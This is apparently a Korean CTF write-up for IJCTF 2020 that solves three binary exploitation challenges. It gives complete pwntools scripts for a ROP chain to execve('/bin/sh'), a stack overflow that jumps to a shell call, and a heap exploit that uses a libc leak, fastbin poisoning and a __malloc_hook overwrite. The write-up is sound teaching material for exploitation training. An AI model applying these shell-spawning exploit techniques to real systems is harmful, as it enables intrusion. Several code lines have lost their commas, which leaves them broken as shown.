본문으로 바로가기

IJCTF 2020

category CTF/CTF Playground 2020. 4. 27. 05:01

Pwn :: Admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from time import sleep
import argparse


def exploit() :
    pop_rdi_ret = 0x400686
    pop_rsi_ret = 0x410193
    pop_rdx_ret = 0x44BCC6
    pop_rax_ret = 0x415544
    syscall_ret = 0x474D15
    write_area = 0x6BCC00

    payload = b'A'*0x48

    # read(0, &write_area, 0x18);
    payload += p64(pop_rdi_ret)
    payload += p64(0)
    payload += p64(pop_rsi_ret)
    payload += p64(write_area)
    payload += p64(pop_rdx_ret)
    payload += p64(0x18)
    payload += p64(pop_rax_ret)
    payload += p64(0)
    payload += p64(syscall_ret)

    # execve("/bin/sh");
    payload += p64(pop_rdi_ret)
    payload += p64(write_area)
    payload += p64(pop_rsi_ret)
    payload += p64(write_area+8)
    payload += p64(pop_rdx_ret)
    payload += p64(write_area+0x10)
    payload += p64(pop_rax_ret)
    payload += p64(59)
    payload += p64(syscall_ret)

    p.writeline(payload) ; sleep(0.5)

    payload = b'/bin/sh'.ljust(8b'\x00')
    payload += p64(write_area)
    payload += p64(0)

    p.write(payload)

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('35.186.153.116'7002)
    else :
        p = process('./admin')

    exploit()

 

Flag: IJCTF{W3lc0m3_4g4in_d34r_AADMMIINN!!!}

 

Pwn :: Input Checker

int __fastcall main(int argc, char **argv, char **envp)
{
  std::ifstream random; // [rsp+0h] [rbp-640h]
  char buf[1008]; // [rsp+210h] [rbp-430h]
  int r[5]; // [rsp+600h] [rbp-40h]
  int c; // [rsp+61Ch] [rbp-24h]
  size_t size; // [rsp+620h] [rbp-20h]
  int j; // [rsp+628h] [rbp-18h]
  int i; // [rsp+62Ch] [rbp-14h]
  
  size = 4LL;
  random = std::ifstream("/dev/urandom", std::ios_base::binary | std::ios_base::in);
  
  for ( i = 0; i <= 4; ++i )
    random.read((char *)&r[i], size);
  
  if ( r[0] == r[1] && r[1] == r[2] && r[2] == r[3] && r[3] == r[4] )
    execve("/bin/sh", NULL, NULL);
  
  std::cout << "Input: ";
  for ( j = 0; j <= 1089; ++j )
  {
    c = getchar();
    buf[j] = c;
  }
  
  std::cout << buf << std::endl;
  random.~basic_ifstream();
  
  return 0;
}

 

단순한 BOF 문제인데, buf부터 값을 쓰고 반복문을 도는 변수 j가 buf보다 아래에 있기 때문에 j 값을 맞춰줘야 한다.

rbp+8 까지 채우면 10바이트밖에 안 남지만, 바로 main 안에 있는 execve("/bin/sh") 로 뛰면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import argparse


def exploit() :
    payload = b'A'*0x418
    payload += p32(0x418)
    payload += b'A'*0x1C
    payload += p64(0x401253)   # execve("/bin/sh");
    payload += b'\x00\x00'

    p.write(payload)

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('35.186.153.116'5001)
    else :
        p = process('./input')

    exploit()

 

Flag: IJCTF{1nt3r3st1ng_e3sY-s0lut10ns_ex1sTz!}

 

Pwn :: Babyheap

malloc: 0x3FF 이하 크기에 대해서 malloc을 실행하고 입력값을 chunk data 부분에 쓴다.

free: 해당 chunk를 free하고 ptrs[idx]를 0으로 바꾼다.

print: 해당 chunk의 내용을 printf로 출력한다.

 

malloc을 하는 create 함수의 이 부분에서 취약점이 발생한다.

 

  char buf[1032]; // [rsp+10h] [rbp-410h]
...
    printf("\nusing slot %u\n"idx);
    printf("size: ");
    __isoc99_scanf("%u", &size);

    if ( size <= 0x3FF )
    {
      printf("data: ");
      size = read(0, bufsize);
      buf[size] = 0;
      ptrs[idx] = malloc(size);
      strcpy((char *)ptrs[idx], buf);
      puts("chunk created\n");
    }
    else
    {
      puts("maximum size exceeded\n");
    }

 

read를 딱 size만큼 입력받고 malloc에도 size가 들어간다. 만약 size가 0x10*N+8 이라면 다음 chunk의 size 필드의 첫 번째 바이트를 0으로 덮을 수 있다. strcpy로 데이터를 복사하기 때문에 중간에 NULL을 못 넣는다.

 

libc leak은 아래와 같은 시나리오로 진행한다.

 

 

1. Chunk A (0xF8), Chunk B (0x68), Chunk C (0xF8), Chunk D(0x10) 을 만든다. Chunk D는 top chunk와의 consolidate를 막기 위해서 만들었다.

2. Chunk A와 Chunk B를 free하고, Chunk B를 다시 만들어서 Chunk C의 PREV_INUSE 플래그를 없앤다.

3. Chunk B를 free하고 만드는 것을 반복해서 Chunk C의 prev_size 필드를 BBBBBBBB에서 0x171로 바꾼다. NULL 바이트는 strcpy에 의한 마지막의 1바이트밖에 못 들어가기 때문에 반복 작업으로 뒤의 6바이트 NULL을 채우고, 앞의 두 바이트를 \x71\x01로 바꾸면 된다.

4. Chunk C를 free한다. PREV_INUSE 플래그가 없기 때문에 prev_size에 따라 Chunk A와 Chunk B까지 모두 consolidate가 된다.

5. 합쳐진 Chunk ABC는 크기가 0x271로 large chunk에 해당하기 때문에 할당을 하면 쪼개진다. 0xF8 크기만큼 할당을 받으면 원래 Chunk B가 있던 곳에 remainder chunk인 Chunk BC가 생긴다. ptrs[0]이 Chunk B의 위치를 잡고 있고, Chunk B는 bin에 들어가 있는 상태이기 때문에 fd와 bk가 main_arena.bins 를 가리킨다. print 메뉴로 0번째 인덱스의 데이터를 읽어서 libc 주소를 leak할 수 있다.

 

libc 주소를 구했고, overlapped chunks가 있으니 $pc를 조작할 수 있다.

 

 

6. fastbin poisoning을 위해 Chunk B의 크기를 0x70으로 만든다.

7. Chunk B를 free하고 Chunk A를 free하면, fastbin에는 Chunk B가 들어가고 Chunk A는 다시 consolidate된다.

8. Chunk A를 free하고 만드는 과정을 반복해 Chunk B의 fd 위치에 특정 주소값(aptr+0x10)을 쓴다.

9. 다시 Chunk B의 크기를 0x70으로 만들어 준다.

10. 0x68 크기의 chunk를 2개 만들면, fastbin은 [&Chunk_B -> aptr] 상태이기 때문에 첫 번째 chunk는 Chunk B에 쓰여지고 두 번째 chunk는 aptr에 쓰여진다.

 

하지만 aptr를 아무 값으로 설정할 수 있는 건 아니고, fastbin에서 chunk를 가져오면 fastbin index에 따른 크기가 실제 size 필드와 맞는지 검사하는 루틴을 지나기 때문에 8바이트로 0x7X가 있는 곳을 찾아야 한다.

여기서는 __malloc_hook을 덮어보려고 한다. __malloc_hook 이전에 0x7X가 있는 곳은 _IO_wide_data_0+301 이다.

 

gdb-peda$ x/10gx (void *)&__malloc_hook-35
0x7fdfcdd42aed <_IO_wide_data_0+301>:   0xdfcdd41260000000      0x000000000000007f
0x7fdfcdd42afd: 0xdfcda03e20000000      0xdfcda03a0000007f
0x7fdfcdd42b0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7fdfcdd42b1d: 0x0000000000000000      0x0000000000000000
0x7fdfcdd42b2d <main_arena+13>: 0x0000000000000000      0x0000000000000000
gdb-peda$ p &__malloc_hook
$1 = (void *(**)(size_t, const void *)) 0x7fdfcdd42b10 <__malloc_hook>

 

_IO_wide_data_0+301 에 chunk를 만든 뒤 offset을 잘 계산해서 __malloc_hook에 magic gadget의 주소를 쓰고 free를 실행하면 된다.

처음에는 __free_hook을 덮으려고 했는데, _IO_stdfile_0_lock+5 를 덮어서 그런지 어딘가에서 문제가 생겨서 잘 작동이 되지 않았다.

 

근데 malloc 할 때 MALLOC_ALIGNMENT 검사를 하는 거로 알고 있는데 glibc 2.23 코드를 한 번 확인해 봐야 할 듯 하다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
import argparse

def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def itob(i) :
    return str(i).encode()

def create(size:intdata:bytes) :
    p.writelineafter(b'> 'b'1')
    p.writelineafter(b': ', itob(size))
    p.writeafter(b': ', data)

def delete(index:int) :
    p.writelineafter(b'> 'b'2')
    p.writelineafter(b': ', itob(index))

def print_data(index:int) -> bytes :
    p.writelineafter(b'> 'b'3')
    p.writelineafter(b': ', itob(index))
    p.readuntil(b': ')
    return p.readuntil(b'\n1.'drop=True)

def exploit() :
    create(0xF8b'A'*0xF8)
    create(0x68b'B'*0x68)
    create(0xF8b'C'*0xF8)
    create(0x10b'D'*0x10)
    delete(0)
    delete(1)
    create(0x68b'B'*0x68)

    for i in range(0x650x5F, -1) :
        delete(0)
        create(i+2b'B'*i+b'\x70\x01')

    delete(2)
    create(0xF8b'E'*0xF7)

    leak = u64(print_data(0).ljust(8b'\x00'))
    libc_base = leak - 0x3C4B78
    target = libc_base + 0x3C4AED
    magic_gadget = libc_base + 0xF02A4
    log_info('libc base: '+hex(libc_base))
    log_info('_IO_wide_data_0+301 = '+hex(target))
    log_info('magic gadget: '+hex(magic_gadget))

    for i in range(0xFD0xF7, -1) :
        delete(1)
        create(i+1b'A'*i+b'\x70')

    delete(0)
    delete(1)
    create(0x108b'A'*0x100 + p64(target))

    for i in range(0xFE0xF7, -1) :
        delete(0)
        create(i+8b'A'*i+b'\x70')

    create(0x68b'B'*0x68)
    create(0x68, (b'E'*19 + p64(magic_gadget)).ljust(0x68b'\x00'))
    create(0x20b'shell')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('35.186.153.116'7001)
    else :
        p = process('./babyheap')

    exploit()

 

Flag: IJCTF{4_v3ry_v3ry_p00r_h34p0v3rfl0w}

'CTF > CTF Playground' 카테고리의 다른 글

TetCTF 2021  (0) 2021.01.09
Brixel CTF winter edition  (0) 2021.01.06
Houseplant CTF  (0) 2020.04.27
TAMUctf 2020  (0) 2020.03.30
Securinets Prequals 2K20  (0) 2020.03.23